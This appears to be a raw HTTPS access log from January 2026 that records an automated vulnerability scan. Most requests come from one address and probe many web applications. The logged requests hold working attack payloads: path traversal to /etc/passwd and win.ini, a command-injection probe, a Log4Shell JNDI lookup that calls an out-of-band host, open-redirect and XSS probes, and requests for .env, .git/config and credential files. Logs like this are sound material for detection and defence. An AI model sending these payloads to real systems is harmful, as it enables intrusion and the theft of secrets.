[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/cgi HTTP/1.1" 199
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /imp/login.php HTTP/1.1" 196
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /fileDownload?action=downloadBackupFile HTTP/1.1" 196
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /service/ HTTP/1.1" 196
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wps/portal/client/welcome/!ut/p/z1/04_Sj9CPykssy0xPLMnMz0vMAfIjo8ziHd3DQgMNnM3N_M1DjA08PX0NgoNcnQwt3Ez1wwkpiAJKG-AAjgb6BbmhigBypoQ7/dz/d5/L2dBISEvZ0FBIS9nQSEh/?uri=nm:oid:Z6_00000000000000A0BR2B300GG2 HTTP/1.1" 196
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /res/login.jsf HTTP/1.1" 196
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /database/production.sqlite3 HTTP/1.1" 196
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /webmail/basic/ HTTP/1.1" 196
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /clusterMgr/sL1RqA.jsp;.js HTTP/1.1" 196
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /glpi/ HTTP/1.1" 196
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /fileDownload?action=downloadBackupFile HTTP/1.1" 196
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /docker-compose-dev.yml HTTP/1.1" 196
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /ioffice/prg/set/wss/ioAssistance.asmx HTTP/1.1" 196
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /artemis/actuator/env HTTP/1.1" 196
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /R9iPortal/380CxldJgMtgPgCQ6yRTd9vd8jK.jsp HTTP/1.1" 196
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /server_version.xsl HTTP/1.1" 196
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /..%5c..%5cetc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /maximo/webclient/login/login.jsp HTTP/1.1" 196
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /hp/device/this.LCDispatcher HTTP/1.1" 196
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /example.htaccess HTTP/1.1" 196
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/database/2 HTTP/1.1" 196
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /teamserver/j_security_check HTTP/1.1" 196
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /res/j_security_check HTTP/1.1" 196
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /xmldata?item=all HTTP/1.1" 196
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /iclock/accounts/login/ HTTP/1.1" 196
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.deployment HTTP/1.1" 196
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /data/login HTTP/1.1" 196
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /doc/upload?token=testtoken&url=file:///C:/windows/win.ini&name=glady.txt HTTP/1.1" 196
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login HTTP/1.1" 196
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /console HTTP/1.1" 196
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /oauth/token HTTP/1.1" 196
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php/admin/admin/login/index/ HTTP/1.1" 196
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /index/login.cgi HTTP/1.1" 196
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wizard/base.php HTTP/1.1" 196
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /CDGServer3/SystemConfig HTTP/1.1" 196
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/ HTTP/1.1" 196
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.env.dev HTTP/1.1" 196
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.0" 226
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /sysShell HTTP/1.1" 196
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /login HTTP/1.1" 196
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /settings HTTP/1.1" 196
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /default.htm HTTP/1.1" 196
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /index.php?mnu=login HTTP/1.1" 196
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /redirect-to?url=https%3A%2F%2Finteract.sh HTTP/1.1" 196
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /interlib/report/ShowImage?localPath=etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/logs/error.log HTTP/1.1" 196
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "PUT /380Cy195KvI8qZCE1VCU0bC9SOj.json HTTP/1.1" 220
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./windows/win.ini HTTP/1.1" 196
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login.php HTTP/1.1" 196
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /setup HTTP/1.1" 196
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ioncube/loader-wizard.php HTTP/1.1" 196
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.github/workflows/build.yml HTTP/1.1" 196
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /css../.git/config HTTP/1.1" 196
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/api-browser HTTP/1.1" 196
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.idea/httpRequests/http-client.cookies HTTP/1.1" 196
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /log/vpn.log HTTP/1.1" 196
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /sess-bin/login_handler.cgi HTTP/1.1" 196
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/issuu-panel/menu/documento/requests/ajax-docs.php?abspath=%2Fetc%2Fpasswd HTTP/1.1" 196
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //bitrix/redirect.php?event1=%D0%A1%D0%BF%D0%B5%D1%86%D0%B8%D0%B0%D0%BB%D1%8C%D0%BD%D1%8B%D0%B5+%D0%B4%D0%BE%D0%BA%D0%BB%D0%B0%D0%B4%D1%8B&event2&event3=download&goto=https://interact.sh HTTP/1.1" 196
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /auth HTTP/1.1" 196
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sess-bin/login_session.cgi HTTP/1.1" 196
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /search HTTP/1.1" 196
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /pages/UI.php HTTP/1.1" 196
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /%c0%ae/%c0%ae/%c0%ae/WEB-INF/web.xml HTTP/1.1" 199
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /client HTTP/1.1" 196
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /ibmmq/console/j_security_check HTTP/1.1" 196
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cap.js HTTP/1.1" 196
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cp/Shares?user&protocol=webaccess&v=2.3 HTTP/1.1" 196
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /default/en_US/status.html HTTP/1.1" 196
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //indexx.html HTTP/1.1" 196
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //api/cask/graphql-playground HTTP/1.1" 196
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login HTTP/1.1" 196
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.children.1.json HTTP/1.1" 196
[09/Jan/2026:10:51:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/getagent.cgi?type=s&xxxx HTTP/1.1" 199
[09/Jan/2026:10:52:00 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927389396 HTTP/1.1" -
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.env.old HTTP/1.1" 196
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST / HTTP/1.1" 196
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jbpm-console/app/tasks.jsf HTTP/1.1" 196
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST / HTTP/1.1" 196
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jmx-console/ HTTP/1.1" 196
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wps/portal/!ut/p/z1/04_Sj9CPykssy0xPLMnMz0vMAfIjo8ziHd3DQgMNnM3N_M1DjA08PX0NgoNcnQwt3Ez1wwkpiAJKG-AAjgb6BbmhigBypoQ7/dz/d5/L2dBISEvZ0FBIS9nQSEh/?uri=nm:oid:Z6_00000000000000A0BR2B300GG2 HTTP/1.1" 196
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /names.nsf HTTP/1.1" 196
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /..%5c..%5c..%5cetc/passwd HTTP/1.1" 196
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jmx-console/ HTTP/1.1" 196
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /asynchPeople/ HTTP/1.1" 196
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?v=d HTTP/1.1" 196
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jexws/jexws.jsp?ppp=cat+%2Fetc%2Fpasswd HTTP/1.1" 196
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.idea/WebServers.xml HTTP/1.1" 196
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app/database/production.sqlite HTTP/1.1" 196
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jeecg-boot/ HTTP/1.1" 196
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /ibmmq/console/j_security_check HTTP/1.1" 196
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /artemis;/env; HTTP/1.1" 196
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /setupAssistant.html HTTP/1.1" 196
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /web-console/ServerInfo.jsp HTTP/1.1" 196
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /http-bind?room=${jndi:ldap://${:-686}${:-261}.${hostName}.username.d5g6sfahausljekepl209p5trrp419abu.oast.site/9kRGf} HTTP/1.1" 196
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /jolokia/ HTTP/1.1" 196
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /signup HTTP/1.1" 196
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.children....4.2.1....json HTTP/1.1" 196
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/logs/errors.log HTTP/1.1" 196
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /script/ HTTP/1.1" 196
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/cluster HTTP/1.1" 196
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /static/img/custom_icons/favicon.ico HTTP/1.1" 196
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jreport/sendfile/help/../../../../../../../../../../../../../../etc/passwd HTTP/1.1" 226
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/database/3 HTTP/1.1" 196
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /log/access.log HTTP/1.1" 196
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jbossws/services HTTP/1.1" 196
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /rest/api/2/dashboard?maxResults=100 HTTP/1.1" 196
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /secure/popups/UserPickerBrowser.jspa HTTP/1.1" 196
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /rest/api/2/resolution HTTP/1.1" 196
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /rest/api/2/screens HTTP/1.1" 196
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /CDGServer3/SystemConfig HTTP/1.1" 196
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ilias/login.php HTTP/1.1" 196
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.github/workflows/build.yaml HTTP/1.1" 196
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/nobody/VerifyCode?LD_DEBUG=help HTTP/1.1" 199
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /rest/api/2/project?maxResults=100 HTTP/1.1" 196
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jw/web/; HTTP/1.1" 196
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /mediation/domains HTTP/1.1" 196
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /assets../.git/config HTTP/1.1" 196
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /interlib/report/ShowImage?localPath=C:\\Windows\\system.ini HTTP/1.1" 196
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /loader-wizard.php HTTP/1.1" 196
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jasperserver/login.html?error=1 HTTP/1.1" 196
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /home.html HTTP/1.1" 196
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/xml HTTP/1.1" 196
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.idea/workspace.xml HTTP/1.1" 196
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /systemController/showOrDownByurl.do?down&dbPath=../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.idea/dataSources.xml HTTP/1.1" 196
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jbpm-console/app/tasks.jsf HTTP/1.1" 196
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /adjuncts/3a890183/ HTTP/1.1" 196
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //deploy.prod.ini HTTP/1.1" 196
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /c6/Jhsoft.Web.login/AjaxForLogin.aspx HTTP/1.1" 196
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /default/en_US/status.html HTTP/1.1" 196
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.0" 226
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /oauth/token HTTP/1.1" 196
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /secure/Dashboard.jspa HTTP/1.1" 196
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /%c0%ae/%c0%ae/%c0%ae/%c0%ae/WEB-INF/web.xml HTTP/1.1" 199
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /iclock/accounts/login/?next=/iclock/data/iclock/ HTTP/1.1" 196
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ui/login/ HTTP/1.1" 196
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //api/graphql HTTP/1.1" 196
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /_.htaccess HTTP/1.1" 196
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //bitrix/redirect.php?event1=%D0%A1%D0%BF%D0%B5%D1%86%D0%B8%D0%B0%D0%BB%D1%8C%D0%BD%D1%8B%D0%B5+%D0%B4%D0%BE%D0%BA%D0%BB%D0%B0%D0%B4%D1%8B&event2&event3=download&goto=https://interact.sh HTTP/1.1" 196
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /rest/api/latest/serverInfo HTTP/1.1" 196
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /simple/pages/UI.php HTTP/1.1" 196
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /rest/config/1.0/directory HTTP/1.1" 196
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /dana-na/auth/url_default/welcome.cgi HTTP/1.1" 196
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /servicedesk/customer/user/signup HTTP/1.1" 196
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /monitoring?part=graph&graph=usedMemory%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:52:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /fileDownload?action=downloadBackupFile HTTP/1.1" 196
